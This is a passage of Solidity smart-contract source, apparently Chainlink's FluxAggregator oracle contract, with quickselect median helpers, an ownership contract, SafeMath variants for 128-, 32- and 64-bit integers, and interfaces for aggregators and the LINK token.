x3 = 3 < len ? list[lo + 3] : INT_MAX; int256 x4 = 4 < len ? list[lo + 4] : INT_MAX; int256 x5 = 5 < len ? list[lo + 5] : INT_MAX; int256 x6 = 6 < len ? list[lo + 6] : INT_MAX; if (x0 > x1) {(x0, x1) = (x1, x0);} if (x2 > x3) {(x2, x3) = (x3, x2);} if (x4 > x5) {(x4, x5) = (x5, x4);} if (x0 > x2) {(x0, x2) = (x2, x0);} if (x1 > x3) {(x1, x3) = (x3, x1);} if (x4 > x6) {(x4, x6) = (x6, x4);} if (x1 > x2) {(x1, x2) = (x2, x1);} if (x5 > x6) {(x5, x6) = (x6, x5);} if (x0 > x4) {(x0, x4) = (x4, x0);} if (x1 > x5) {(x1, x5) = (x5, x1);} if (x2 > x6) {(x2, x6) = (x6, x2);} if (x1 > x4) {(x1, x4) = (x4, x1);} if (x3 > x6) {(x3, x6) = (x6, x3);} if (x2 > x4) {(x2, x4) = (x4, x2);} if (x3 > x5) {(x3, x5) = (x5, x3);} if (x3 > x4) {(x3, x4) = (x4, x3);} uint256 index1 = k1 - lo; if (index1 == 0) {k1th = x0;} else if (index1 == 1) {k1th = x1;} else if (index1 == 2) {k1th = x2;} else if (index1 == 3) {k1th = x3;} else if (index1 == 4) {k1th = x4;} else if (index1 == 5) {k1th = x5;} else if (index1 == 6) {k1th = x6;} else {revert("k1 out of bounds");} uint256 index2 = k2 - lo; if (k1 == k2) {return (k1th, k1th);} else if (index2 == 0) {return (k1th, x0);} else if (index2 == 1) {return (k1th, x1);} else if (index2 == 2) {return (k1th, x2);} else if (index2 == 3) {return (k1th, x3);} else if (index2 == 4) {return (k1th, x4);} else if (index2 == 5) {return (k1th, x5);} else if (index2 == 6) {return (k1th, x6);} else {revert("k2 out of bounds");} } /** * @notice Selects the k-th ranked element from list, looking only at indices between lo and hi * (inclusive). Modifies list in-place. */ function quickselect(int256[] memory list, uint256 lo, uint256 hi, uint256 k) private pure returns (int256 kth) { require(lo <= k); require(k <= hi); while (lo < hi) { if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) { int256 ignore; (kth, ignore) = shortSelectTwo(list, lo, hi, k, k); return kth; } uint256 pivotIndex = partition(list, lo, hi); if (k <= pivotIndex) { // since pivotIndex < (original hi passed to partition), // termination is guaranteed in this case hi = pivotIndex; } else { // since (original lo passed to partition) <= pivotIndex, // termination is guaranteed in this case lo = pivotIndex + 1; } } return list[lo]; } /** * @notice Selects the k1-th and k2-th ranked elements from list, looking only at indices between * lo and hi (inclusive). Modifies list in-place. */ function quickselectTwo( int256[] memory list, uint256 lo, uint256 hi, uint256 k1, uint256 k2 ) internal // for testing pure returns (int256 k1th, int256 k2th) { require(k1 < k2); require(lo <= k1 && k1 <= hi); require(lo <= k2 && k2 <= hi); while (true) { if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) { return shortSelectTwo(list, lo, hi, k1, k2); } uint256 pivotIdx = partition(list, lo, hi); if (k2 <= pivotIdx) { hi = pivotIdx; } else if (pivotIdx < k1) { lo = pivotIdx + 1; } else { assert(k1 <= pivotIdx && pivotIdx < k2); k1th = quickselect(list, lo, pivotIdx, k1); k2th = quickselect(list, pivotIdx + 1, hi, k2); return (k1th, k2th); } } } /** * @notice Partitions list in-place using Hoare's partitioning scheme. * Only elements of list between indices lo and hi (inclusive) will be modified. * Returns an index i, such that: * - lo <= i < hi * - forall j in [lo, i]. list[j] <= list[i] * - forall j in [i, hi]. list[i] <= list[j] */ function partition(int256[] memory list, uint256 lo, uint256 hi) private pure returns (uint256) { // We don't care about overflow of the addition, because it would require a list // larger than any feasible computer's memory. int256 pivot = list[(lo + hi) / 2]; lo -= 1; // this can underflow. that's intentional. hi += 1; while (true) { do { lo += 1; } while (list[lo] < pivot); do { hi -= 1; } while (list[hi] > pivot); if (lo < hi) { (list[lo], list[hi]) = (list[hi], list[lo]); } else { // Let orig_lo and orig_hi be the original values of lo and hi passed to partition. // Then, hi < orig_hi, because hi decreases *strictly* monotonically // in each loop iteration and // - either list[orig_hi] > pivot, in which case the first loop iteration // will achieve hi < orig_hi; // - or list[orig_hi] <= pivot, in which case at least two loop iterations are // needed: // - lo will have to stop at least once in the interval // [orig_lo, (orig_lo + orig_hi)/2] // - (orig_lo + orig_hi)/2 < orig_hi return hi; } } } /** * @notice Makes an in-memory copy of the array passed in * @param list Reference to the array to be copied */ function copy(int256[] memory list) private pure returns(int256[] memory) { int256[] memory list2 = new int256[](list.length); for (uint256 i = 0; i < list.length; i++) { list2[i] = list[i]; } return list2; } } /** * @title The Owned contract * @notice A contract with helpers for basic contract ownership. */ contract Owned { address public owner; address private pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor() public { owner = msg.sender; } /** * @dev Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership(address _to) external onlyOwner() { pendingOwner = _to; emit OwnershipTransferRequested(owner, _to); } /** * @dev Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { require(msg.sender == pendingOwner, "Must be proposed owner"); address oldOwner = owner; owner = msg.sender; pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @dev Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { require(msg.sender == owner, "Only callable by owner"); _; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 128 bit integers. */ library SafeMath128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { require(b <= a, "SafeMath: subtraction overflow"); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b) internal pure returns (uint128) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 32 bit integers. */ library SafeMath32 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint32 a, uint32 b) internal pure returns (uint32) { require(b <= a, "SafeMath: subtraction overflow"); uint32 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint32 a, uint32 b) internal pure returns (uint32) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint32 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint32 a, uint32 b) internal pure returns (uint32) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint32 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint32 a, uint32 b) internal pure returns (uint32) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 64 bit integers. */ library SafeMath64 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint64 a, uint64 b) internal pure returns (uint64) { require(b <= a, "SafeMath: subtraction overflow"); uint64 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint64 a, uint64 b) internal pure returns (uint64) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint64 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint64 a, uint64 b) internal pure returns (uint64) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint64 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface { } interface AggregatorValidatorInterface { function validate( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ) external returns (bool); } interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } /** * @title The Prepaid Aggregator contract * @notice Handles aggregating data pushed in from off-chain, and unlocks * payment for oracles as they report. Oracles' submissions are gathered in * rounds, with each round aggregating the submissions for each oracle into a * single answer. The latest aggregated answer is exposed as well as historical * answers and their updated at timestamp. */ contract FluxAggregator is AggregatorV2V3Interface, Owned { using SafeMath for uint256; using SafeMath128 for uint128; using SafeMath64 for uint64; using SafeMath32 for uint32; struct Round { int256 answer; uint64 startedAt; uint64 updatedAt; uint32 answeredInRound; } struct RoundDetails { int256[] submissions; uint32 maxSubmissions; uint32 minSubmissions; uint32 timeout; uint128 paymentAmount; } struct OracleStatus { uint128 withdrawable; uint32 startingRound; uint32 endingRound; uint32 lastReportedRound; uint32 lastStartedRound; int256 latestSubmission; uint16 index; address admin; address pendingAdmin; } struct Requester { bool authorized; uint32 delay; uint32 lastStartedRound; } struct Funds { uint128 available; uint128 allocated; } LinkTokenInterface public linkToken; AggregatorValidatorInterface public validator; // Round related params uint128 public paymentAmount; uint32 public maxSubmissionCount; uint32 public minSubmissionCount; uint32 public restartDelay; uint32 public timeout; uint8 public override decimals; string public override description; int256 immutable public minSubmissionValue; int256 immutable public maxSubmissionValue; uint256 constant public override version = 3; /** * @notice To ensure owner isn't withdrawing required funds as oracles are * submitting updates, we enforce that the contract maintains a minimum * reserve of RESERVE_ROUNDS * oracleCount() LINK earmarked for payment to * oracles. (Of course, this doesn't prevent the contract from running out of * funds without the owner's intervention.) */ uint256 constant private RESERVE_ROUNDS = 2; uint256 constant private MAX_ORACLE_COUNT = 77; uint32 constant private ROUND_MAX = 2**32-1; uint256 private constant VALIDATOR_GAS_LIMIT = 100000; // An error specific to the Aggregator V3 Interface, to prevent possible // confusion around accidentally reading unset values as reported values. string constant private V3_NO_DATA_ERROR = "No data present"; uint32 private reportingRoundId; uint32 internal latestRoundId; mapping(address => OracleStatus) private oracles; mapping(uint32 => Round) internal rounds; mapping(uint32 => RoundDetails) internal details; mapping(address => Requester) internal requesters; address[] private oracleAddresses; Funds private recordedFunds; event AvailableFundsUpdated( uint256 indexed amount ); event RoundDetailsUpdated( uint128 indexed paymentAmount, uint32 indexed minSubmissionCount, uint32 indexed maxSubmissionCount, uint32 restartDelay, uint32 timeout // measured in seconds ); event OraclePermissionsUpdated( address indexed oracle, bool indexed whitelisted ); event OracleAdminUpdated( address indexed oracle, address indexed newAdmin ); event OracleAdminUpdateRequested( address indexed oracle, address admin, address newAdmin ); event SubmissionReceived( int256 indexed submission, uint32 indexed round, address indexed oracle ); event RequesterPermissionsSet( address indexed requester, bool authorized, uint32 delay ); event ValidatorUpdated( address indexed previous, address indexed current ); /** * @notice set up the aggregator with initial configuration * @param _link The address of the LINK token * @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK) * @param _timeout is the number of seconds after the previous round that are * allowed to lapse before allowing an oracle to skip an unfinished round * @param _validator is an optional contract address for validating * external validation of answers * @param _minSubmissionValue is an immutable check for a lower bound of what * submission values are accepted from an oracle * @param _maxSubmissionValue is an immutable check for an upper bound of what * submission values are accepted from an oracle * @param _decimals represents the number of decimals to offset the answer by * @param _description a short description of what is being reported */ constructor( address _link, uint128 _paymentAmount, uint32 _timeout, address _validator, int256 _minSubmissionValue, int256 _maxSubmissionValue, uint8 _decimals, string memory _description ) public { linkToken = LinkTokenInterface(_link); updateFutureRounds(_paymentAmount, 0, 0, 0, _timeout); setValidator(_validator); minSubmissionValue = _minSubmissionValue; maxSubmissionValue = _maxSubmissionValue; decimals = _decimals; description = _description; rounds[0].updatedAt = uint64(block.timestamp.sub(uint256(_timeout))); } /** * @notice called by oracles when they have witnessed a need to update * @param _roundId is the ID of the round this submission pertains to * @param _submission is the updated data that the oracle is submitting */ function submit(uint256 _roundId, int256 _submission) external { bytes memory error = validateOracleRound(msg.sender, uint32(_roundId)); require(_submission >= minSubmissionValue, "value below minSubmissionValue"); require(_submission <= maxSubmissionValue, "value above maxSubmissionValue"); require(error.length == 0, string(error)); oracleInitializeNewRound(uint32(_roundId)); recordSubmission(_submission, uint32(_roundId)); (bool updated, int256 newAnswer) = updateRoundAnswer(uint32(_roundId)); payOracle(uint32(_roundId)); deleteRoundDetails(uint32(_roundId)); if (updated) { validateAnswer(uint32(_roundId), newAnswer); } } /** * @notice called by the owner to remove and add new oracles as well as * update the round related parameters that pertain to total oracle count * @param _removed is the list of addresses for the new Oracles being removed * @param _added is the list of addresses for the new Oracles being added * @param _addedAdmins is the admin addresses for the new respective _added * list. Only this address is allowed to access the respective oracle's funds * @param _minSubmissions is the new minimum submission count for each round * @param _maxSubmissions is the new maximum submission count for each round * @param _restartDelay is the number of rounds an Oracle has to wait before * they can initiate a round */ function changeOracles( address[] calldata _removed, address[] calldata _added, address[] calldata _addedAdmins, uint32 _minSubmissions, uint32 _maxSubmissions, uint32 _restartDelay ) external onlyOwner() { for (uint256 i = 0; i < _removed.length; i++) { removeOracle(_removed[i]); } require(_added.length == _addedAdmins.length, "need same oracle and admin count"); require(uint256(oracleCount()).add(_added.length) <= MAX_ORACLE_COUNT, "max oracles allowed"); for (uint256 i = 0; i < _added.length; i++) { addOracle(_added[i], _addedAdmins[i]); } updateFutureRounds(paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, timeout); } /** * @notice update the round and payment related parameters for subsequent * rounds * @param _paymentAmount is the payment amount for subsequent rounds * @param _minSubmissions is the new minimum submission count for each round * @param _maxSubmissions is the new maximum submission count for each round * @param _restartDelay is the number of rounds an Oracle has to wait before * they can initiate a round */ function updateFutureRounds( uint128 _paymentAmount, uint32 _minSubmissions, uint32 _maxSubmissions, uint32 _restartDelay, uint32 _timeout ) public onlyOwner() { uint32 oracleNum = oracleCount(); // Save on storage reads require(_maxSubmissions >= _minSubmissions, "max must equal/exceed min"); require(oracleNum >= _maxSubmissions, "max cannot exceed total"); require(oracleNum == 0 || oracleNum > _restartDelay, "delay cannot exceed total"); require(recordedFunds.available >= requiredReserve(_paymentAmount), "insufficient funds for payment"); if (oracleCount() > 0) { require(_minSubmissions > 0, "min must be greater than 0"); } paymentAmount = _paymentAmount; minSubmissionCount = _minSubmissions; maxSubmissionCount = _maxSubmissions; restartDelay = _restartDelay; timeout = _timeout; emit RoundDetailsUpdated( paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, _timeout ); } /** * @notice the amount of payment yet to be withdrawn by oracles */ function allocatedFunds() external view returns (uint128) { return recordedFunds.allocated; } /** * @notice the amount of future funding available to oracles */ function availableFunds() external view returns (uint128) { return recordedFunds.available; } /** * @notice recalculate the amount of LINK available for payouts */ function updateAvailableFunds() public { Funds memory funds = recordedFunds; uint256 nowAvailable = linkToken.balanceOf(address(this)).sub(funds.allocated); if (funds.available != nowAvailable) { recordedFunds.available = uint128(nowAvailable); emit AvailableFundsUpdated(nowAvailable); } } /** * @notice returns the number of oracles */ function oracleCount() public view returns (uint8) { return uint8(oracleAddresses.length); } /** * @notice returns an array of addresses containing the oracles on contract */ function getOracles() external view returns (address[] memory) { return oracleAddresses; } /** * @notice get the most recently reported answer * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestAnswer() public view virtual override returns (int256) { return rounds[latestRoundId].answer; } /** * @notice get the most recent updated at timestamp * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestTimestamp() public view virtual override returns (uint256) { return rounds[latestRoundId].updatedAt; } /** * @notice get the ID of the last updated round * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestRound() public view virtual override returns (uint256) { return latestRoundId; } /** * @notice get past rounds answers * @param _roundId the round number to retrieve the answer for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getAnswer(uint256 _roundId) public view virtual override returns (int256) { if (validRoundId(_roundId)) { return rounds[uint32(_roundId)].answer; } return 0; } /** * @notice get timestamp when an answer was last updated * @param _roundId the round number to retrieve the updated timestamp for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getTimestamp(uint256 _roundId) public view virtual override returns (uint256) { if (validRoundId(_roundId)) { return rounds[uint32(_roundId)].updatedAt; } return 0; } /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @param _roundId the round ID to retrieve the round data for * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answeredInRound is equal to roundId when the round didn't time out * and was completed regularly. * @dev Note that for in-progress rounds (i.e. rounds that haven't yet received * maxSubmissions) answer and updatedAt may change between queries. */ function getRoundData(uint80 _roundId) public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { Round memory r = rounds[uint32(_roundId)]; require(r.answeredInRound > 0 && validRoundId(_roundId), V3_NO_DATA_ERROR); return ( _roundId, r.answer, r.startedAt, r.updatedAt, r.answeredInRound ); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. Consumers are encouraged to * use this more fully featured method over the "legacy" latestRound/ * latestAnswer/latestTimestamp functions. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answeredInRound is equal to roundId when the round didn't time * out and was completed regularly. * @dev Note that for in-progress rounds (i.e. rounds that haven't yet * received maxSubmissions) answer and updatedAt may change between queries. */ function latestRoundData() public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return getRoundData(latestRoundId); } /** * @notice query the available amount of LINK for an oracle to withdraw */ function withdrawablePayment(address _oracle) external view returns (uint256) { return oracles[_oracle].withdrawable; } /** * @notice transfers the oracle's LINK to another address. Can only be called * by the oracle's admin. * @param _oracle is the oracle whose LINK is transferred * @param _recipient is the address to send the LINK to * @param _amount is the amount of LINK to send */ function withdrawPayment(address _oracle, address _recipient, uint256 _amount) external { require(oracles[_oracle].admin == msg.sender, "only callable by admin"); // Safe to downcast _amount because the total amount of LINK is less than 2^128. uint128 amount = uint128(_amount); uint128 available = oracles[_oracle].withdrawable; require(available >= amount, "insufficient withdrawable funds"); oracles[_oracle].withdrawable = available.sub(amount); recordedFunds.allocated = recordedFunds.allocated.sub(amount); assert(linkToken.transfer(_recipient, uint256(amount))); } /** * @notice transfers the owner's LINK to another address * @param _recipient is the address to send the LINK to * @param _amount is the amount of LINK to send */ function withdrawFunds(address _recipient, uint256 _amount) external onlyOwner() { uint256 available = uint256(recordedFunds.available); require(available.sub(requiredReserve(paymentAmount)) >= _amount, "insufficient reserve funds"); require(linkToken.transfer(_recipient, _amount), "token transfer failed"); updateAvailableFunds(); } /** * @notice get the admin address of an oracle * @param _oracle is the address of the oracle whose admin is being queried */ function getAdmin(address _oracle) external view returns (address) { return oracles[_oracle].admin; } /** * @notice transfer the admin address for an oracle * @param _oracle is the address of the oracle whose admin is being transferred * @param _newAdmin is the new admin address */ function transferAdmin(address _oracle, address _newAdmin) external { require(oracles[_oracle].admin == msg.sender, "only callable by admin"); oracles[_oracle].pendingAdmin = _newAdmin; emit OracleAdminUpdateRequested(_oracle, msg.sender, _newAdmin); } /** * @notice accept the admin address transfer for an oracle * @param _oracle is the address of the oracle whose admin is being transferred */ function acceptAdmin(address _oracle) external { require(oracles[_oracle].pendingAdmin == msg.sender, "only callable by pending admin"); oracles[_oracle].pendingAdmin = address(0); oracles[_oracle].admin = msg.sender; emit OracleAdminUpdated(_oracle, msg.sender); } /** * @notice allows non-oracles to request a new round */ function requestNewRound() external returns (uint80) { require(requesters[msg.sender].authorized, "not authorized requester"); uint32 current = reportingRoundId; require(rounds[current].updatedAt > 0 || timedOut(current), "prev round must be supersedable"); uint32 newRoundId = current.add(1); requesterInitializeNewRound(newRoundId); return newRoundId; } /** * @notice allows the owner to specify new non-oracles to start new rounds * @param _requester is the address to set permissions for * @param _authorized is a boolean specifying whether they can start new rounds or not * @param _delay is the number of rounds the requester must wait before starting another round */ function setRequesterPermissions(address _requester, bool _authorized, uint32 _delay) external onlyOwner() { if (requesters[_requester].authorized == _authorized) return; if (_authorized) { requesters[_requester].authorized = _authorized; requesters[_requester].delay = _delay; } else { delete requesters[_requester]; } emit RequesterPermissionsSet(_requester, _authorized, _delay); } /** * @notice called through LINK's transferAndCall to update available funds * in the same transaction as the funds were transferred to the aggregator * @param _data is mostly ignored. It is checked for length, to be sure * nothing strange is passed in. */ function onTokenTransfer(address, uint256, bytes calldata _data) external { require(_data.length == 0, "transfer doesn't accept calldata"); updateAvailableFunds(); } /** * @notice a method to provide all current info oracles need. Intended only * only to be callable by oracles. Not for use by contracts to read state. * @param _oracle the address to look up information for. */ function oracleRoundState(address _oracle, uint32 _queriedRoundId) external view returns ( bool _eligibleToSubmit, uint32 _roundId, int256 _latestSubmission, uint64 _startedAt, uint64 _timeout, uint128 _availableFunds, uint8 _oracleCount, uint128 _paymentAmount ) { require(msg.sender == tx.origin, "off-chain reading only"); if (_queriedRoundId > 0) { Round storage round = rounds[_queriedRoundId]; RoundDetails storage details = details[_queriedRoundId]; return ( eligibleForSpecificRound(_oracle, _queriedRoundId), _queriedRoundId, oracles[_oracle].latestSubmission, round.startedAt, details.timeout, recordedFunds.available, oracleCount(), (round.startedAt > 0 ? details.paymentAmount : paymentAmount) ); } else { return oracleRoundStateSuggestRound(_oracle); } } /** * @notice method to update the address which does external data validation. * @param _newValidator designates the address of the new validation contract. */ function setValidator(address _newValidator) public onlyOwner() { address previous = address(validator); if (previous != _newValidator) { validator = AggregatorValidatorInterface(_newValidator); emit ValidatorUpdated(previous, _newValidator); } } /** * Private */ function initializeNewRound(uint32 _roundId) private { updateTimedOutRoundInfo(_roundId.sub(1)); reportingRoundId = _roundId; RoundDetails memory nextDetails = RoundDetails( new int256[](0), maxSubmissionCount, minSubmissionCount, timeout, paymentAmount ); details[_roundId] = nextDetails; rounds[_roundId].startedAt = uint64(block.timestamp); emit NewRound(_roundId, msg.sender, rounds[_roundId].startedAt); } function oracleInitializeNewRound(uint32 _roundId) private { if (!newRound(_roundId)) return; uint256 lastStarted = oracles[msg.sender].lastStartedRound; // cache storage reads if (_roundId <= lastStarted + restartDelay && lastStarted != 0) return; initializeNewRound(_roundId); oracles[msg.sender].lastStartedRound = _roundId; } function requesterInitializeNewRound(uint32 _roundId) private { if (!newRound(_roundId)) return; uint256 lastStarted = requesters[msg.sender].lastStartedRound; // cache storage reads require(_roundId > lastStarted + requesters[msg.sender].delay || lastStarted == 0, "must delay requests"); initializeNewRound(_roundId); requesters[msg.sender].lastStartedRound = _roundId; } function updateTimedOutRoundInfo(uint32 _roundId) private { if (!timedOut(_roundId)) return; uint32 prevId = _roundId.sub(1); 